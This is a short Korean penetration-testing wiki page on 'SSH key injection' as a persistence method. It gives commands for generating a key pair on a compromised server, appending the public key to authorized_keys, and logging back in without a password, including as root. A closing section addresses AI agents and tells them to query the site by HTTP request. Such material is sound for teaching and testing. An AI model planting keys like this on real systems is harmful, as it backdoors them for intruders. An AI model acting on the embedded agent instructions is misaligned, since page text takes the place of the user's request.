# SSH Key Injection

SSH 키 쌍을 생성하여 장악한 서버의 인증된 키로 등록할 경우, 언제든 자신의 비밀키를 이용하 쉘 접속이 가능합니다.

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 공개키 알고리즘 키 생성
</strong>ssh-keygen -t ecdsa

<strong># 생성한 공개키를 서버에 등록
</strong>echo &#x3C;id_rsa.pub> >> C:\Users\mick3y\.ssh\authorized_keys

<strong># 패스워드 없이 비밀키로 서버에 접속
</strong>ssh -i id_rsa mick3y@192.168.1.14
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre><code><strong># 공개키 알고리즘 키 생성
</strong>ssh-keygen -t rsa -b 4096

<strong># 생성한 공개키를 서버에 등록
</strong>echo &#x3C;id_rsa.pub> >> ~/.ssh/authorized_keys

<strong># 패스워드 없이 비밀키로 서버에 접속
</strong>ssh -i id_rsa root@192.168.1.23
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/persistence/local/ssh-key-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
